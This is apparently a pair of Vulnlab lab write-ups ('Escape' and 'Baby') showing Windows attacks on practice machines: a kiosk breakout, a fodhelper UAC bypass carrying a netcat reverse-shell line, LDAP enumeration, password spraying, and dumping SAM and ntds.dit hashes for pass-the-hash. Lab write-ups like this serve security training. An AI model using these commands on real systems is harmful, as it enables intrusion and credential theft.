vulnlab-escape

Escape is an easy machine on Vulnlab

https://wiki.vulnlab.com/intro/lab-access

that involves breaking out of a restricted kiosk environment, recovering an obfuscated RDP password, and finally bypassing UAC to escalate privileges.

Enumeration

Nmap shows that only port 3389 is open .

Since there’s no credentials, we can try to access the RDP service by disabling NLA.

xfreerdp /v:10.10.101.64 -sec-nla

This brings up the following prompt. Looks like we can login as the KioskUser0 without a password.

Once  logged in, we see the Busan Expo.

Kiosk Breakout

Right click and most commands are restricted in kiosk mode; however, we can use the Windows key to bring up the menu and select Microsoft Edge from there to get a browser with a URL bar and most functionality enabled.

Within Edge, we can use the following in the URL bar to get a directory listing of the C:\ drive.

file://c:\

Within the C:\_admin directory, we find profiles.xml that look like they’re associated with the remote desktop service.

The profiles.xml looks like it has an encrypted password in it. We’ll need to figure out a way to decrypt that.

 

Privilege Escalation

To proceed, we’re going to need a proper shell. Since we’re fairly restricted on what we can execute, we’ll need to download c:\windows\system32\cmd.exe , and then rename it to msedge  in our download folder ,since that’s one of the only things allowed in kiosk mode.

After checking around a little bit it seems like we’re pretty much restricted to accessing the Downloads folder, so we can copy the profiles.xml file to the C:\Users\KioskUser0\Downloads folder and do everything from there.

Start up RDP plus from C:\Program Files (x86)\Remote Desktop Plus\rdp.exe. on my Windows pc

From the Manage profiles menu, select Import profile from the Import and export menu.

Select the profile.xml file and notice that the password is obfuscated in the edit configuration menu.

We can use a tool called BulletsPassView to read the obfuscated password.

When the tool detects an obfuscated password, it displays the plaintext password in the tool window.

Since we’ve already got a shell we can just try runas with that password to see if it’s possible to escalate to the admin user. We get a shell with the following command:

runas /user:ESCAPE\admin cmd
After getting the new shell, we can observe that the admin user is a member of the Administrators group, however this shell is running at a medium integrity level which means we’ll need to bypass UAC to get a high integrity shell

 

To  bypass UAC in this case. Using the following command brought up the UAC dialog and clicking on the “Yes” button brings up PowerShell running as a high integrity process.

powershell
Start-Process powershell -Verb runas

We now have all administrative privileges.

Or to get a remote shell

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Users\admin\Desktop\nc.exe 10.8.2.138 9001 -e powershell.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

 

That’s it!

 

vulnlab-baby

Baby is an easy machine on Vulnlab

https://wiki.vulnlab.com/intro/lab-access

that involves enumerating LDAP & spraying credentials. For SYSTEM we exploit SeBackup & SeRestore Privileges.

The initial port scan shows the following ports:

# Nmap 7.94SVN scan initiated Thu May 30 09:32:08 2024 as: nmap -Pn -A -sC -sV -oN ports.txt 10.10.121.207
Nmap scan report for 10.10.121.207
Host is up (0.019s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-30 07:32:19Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-05-30T07:33:05+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2024-05-29T07:30:11
|_Not valid after:  2024-11-28T07:30:11
| rdp-ntlm-info: 
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-05-30T07:32:25+00:00
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-05-30T07:32:29
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 30 09:33:05 2024 -- 1 IP address (1 host up) scanned in 56.65 seconds
                                                                                                    
┌──(puck㉿kali)-[~/vulnlab/baby]

Next we add to our /etc/hosts

10.10.99.125 baby.vl

One thing to check on Active Directory machines is if anonymous bind to LDAP is possible. We try to enumerate users via ldapsearch:

┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep sAMAccountName | awk -F: '{ print $2 }' |  awk '{ gsub(/ /,""); print }' 
Guest
DomainComputers
CertPublishers
DomainUsers
DomainGuests
GroupPolicyCreatorOwners
RASandIASServers
AllowedRODCPasswordReplicationGroup
DeniedRODCPasswordReplicationGroup
EnterpriseRead-onlyDomainControllers
CloneableDomainControllers
ProtectedUsers
DnsAdmins
DnsUpdateProxy
dev
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
it
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell

.

Another point to check on LDAP is the description field of users. Sometimes administrators store valuable information there without realizing that unprivileged users have access to this kind of information:

┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep desc             
description: Built-in account for guest access to the computer/domain
description: All workstations and servers joined to the domain
description: Members of this group are permitted to publish certificates to th
description: All domain users
description: All domain guests
description: Members in this group can modify group policy for the domain
description: Servers in this group can access remote access properties of user
description: Members in this group can have their passwords replicated to all 
description: Members in this group cannot have their passwords replicated to a
description: Members of this group are Read-Only Domain Controllers in the ent
description: Members of this group that are domain controllers may be cloned.
description: Members of this group are afforded additional protections against
description: DNS Administrators Group
description: DNS clients who are permitted to perform dynamic updates on behal
description: Set initial password to BabyStart123!
                                                                                                    
┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ 

 

.

The password for Teresa.Bell was at some point reset to “BabyStart123!”. This is likely the default passwords admins use when a user has forgotten his password. We can try to use it for Teresa, but will notice that it’s not valid:

┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!' --no-bruteforce 
SMB         baby.vl         445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         baby.vl         445    BABYDC           [-] baby.vl\teresa.bell:BabyStart123! STATUS_LOGON_FAILURE 
                                                                                                                                     
┌──(puck㉿kali)-[~/vulnlab/baby]

Maybe it is valid for another user though. We create a wordlist “users.txt” from the usernames we saw in LDAP and spray the password across all accounts:

┌──(puck㉿kali)-[~/vulnlab/baby]
└─$ crackmapexec smb baby.vl -u users.txt -p 'BabyStart123!' --no-bruteforce
SMB         baby.vl         445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         baby.vl         445    BABYDC           [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DomainComputers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\CertPublishers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DomainUsers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DomainGuests:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\GroupPolicyCreatorOwners:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\RASandIASServers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\AllowedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DeniedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\EnterpriseRead-onlyDomainControllers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\CloneableDomainControllers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\ProtectedUsers:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DnsAdmins:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\DnsUpdateProxy:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\dev:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\it:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         baby.vl         445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE 
                                                                                                                                     
┌──(puck㉿kali)-[~/vulnlab/baby]

We have a hit for Caroline.Robinson, change her password via smbpasswd and use these credentials to login via WinRM:

.

.

└─$ smbpasswd -U BABY/caroline.robinson -r baby.vl 
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson
└─$ evil-winrm -i baby.vl -u 'Caroline.Robinson' -p 'Password123!' 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /all

.

 

We check our privileges with whoami /all and  see that we have SeRestore- & SeBackupPrivilege. This allows us to save SAM & SYSTEM and download it to our machine:

cd c:\
mkdir Temp
cd \Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

 

After downloading the files, pypykatz or secretsdump can be used to obtain the administrator hash:

pypykatz registry --sam sam system
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::

 

However, we cant connect with this hash. Why? It’s actually the local administrator hash which is not useable on a domain controller for logging in! Instead, we have to get the hash of the account in the domain (which has exactly the same name). In order to do this, we have to grab “ntds.dit” aswell:

# save this in script.txt
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
# run diskshadow
diskshadow /s script.txt
# copy ntds to c
robocopy /b E:\Windows\ntds . ntds.dit

 

Now we can run secretsdump again, this time getting the domain account hashes by supplying “ntds.dit”:

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

 

Finally we can use the hash to connect via WinRM:

evil-winrm -i baby.vl -u 'administrator' -H '<REDACTED>'

 

That’s all

Beyond root

*Evil-WinRM* PS C:\> Get-ScheduledTask

TaskPath                                       TaskName                          State
--------                                       --------                          -----
\                                              CreateExplorerShellUnelevatedTask Ready
\                                              MicrosoftEdgeUpdateTaskMachine... Ready
\                                              MicrosoftEdgeUpdateTaskMachineUA  Ready
\                                              restore_password                  Disabled
\Microsoft\Windows\                            Server Initial Configuration Task Disabled
\Microsoft\Windows\.NET Framework\             .NET Framework NGEN v4.0.30319    Ready
etc..etc


*Evil-WinRM* PS C:\> Get-Childitem -Path C:\ -Filter restore_password -Recurse -ErrorAction SilentlyContinue -Force


    Directory: C:\Windows\System32\Tasks


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/30/2023   7:53 AM           2594 restore_password

 

*Evil-WinRM* PS C:\Windows\System32\Tasks> dir


    Directory: C:\Windows\System32\Tasks


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/19/2021   1:32 PM                Microsoft
-a----          9/7/2023   6:30 PM           3650 CreateExplorerShellUnelevatedTask
-a----        11/21/2021  12:41 PM           3184 MicrosoftEdgeUpdateTaskMachineCore
-a----        11/21/2021  12:41 PM           3408 MicrosoftEdgeUpdateTaskMachineUA
-a----         7/30/2023   7:53 AM           2594 restore_password


*Evil-WinRM* PS C:\Windows\System32\Tasks> type restore_password
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2022-01-20T07:36:00</Date>
    <Author>BABY\Administrator</Author>
    <URI>\restore_password</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <Enabled>false</Enabled>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
  </Settings>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2022-01-20T07:36:00</StartBoundary>
      <Repetition>
        <Interval>PT3M</Interval>
      </Repetition>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe</Command>
      <Arguments>-exec bypass -file c:\windows\temp\password_restore.ps1</Arguments>
    </Exec>
  </Actions>
</Task>
*Evil-WinRM* PS C:\Windows\System32\Tasks> type c:\windows\temp\password_restore.ps1
$Pass = ConvertTo-SecureString "BabyStart123!" -AsPlainText -Force
Set-ADAccountPassword -Identity Caroline.Robinson -NewPassword $Pass -Reset
Set-ADUser -Identity Caroline.Robinson -ChangePasswordAtLogon $true
*Evil-WinRM* PS C:\Windows\System32\Tasks> hostname
BabyDC
*Evil-WinRM* PS C:\Windows\System32\Tasks> 

.